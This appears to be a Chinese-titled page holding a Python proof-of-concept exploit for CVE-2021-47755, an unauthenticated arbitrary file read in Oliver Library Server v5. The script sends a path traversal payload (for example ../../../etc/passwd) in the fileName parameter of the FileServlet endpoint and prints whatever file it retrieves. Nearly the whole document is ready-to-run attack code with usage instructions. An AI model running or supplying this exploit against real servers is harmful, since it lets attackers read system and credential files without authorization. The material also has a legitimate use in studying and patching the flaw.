CVE-2021-47755 Oliver Library Server 任意文件读取漏洞

import requests import sys # CVE-2021-47755 PoC - Oliver Library Server Arbitrary File Read # Target: Oliver Library Server v5 FileServlet endpoint # Vulnerability: Path traversal in fileName parameter def exploit_cve_2021_47755(target_url, filename): """ Exploit for CVE-2021-47755: Oliver Library Server v5 Arbitrary File Read Args: target_url: Base URL of the vulnerable server filename: File to read (can use path traversal like ../../../etc/passwd) Returns: Content of the requested file """ # Construct the FileServlet endpoint endpoint = f"{target_url.rstrip('/')}/FileServlet" # Prepare the malicious request params = { 'fileName': filename # Path traversal payload } try: # Send GET request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully read file: {filename}") print(f"[+] File content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed to read file. Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2021_47755.py <target_url> ") print("Example: python cve_2021_47755.py http://target.com:8080 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] content = exploit_cve_2021_47755(target, file_to_read) if content: print("\n=== File Content ===") print(content.decode('utf-8', errors='ignore'))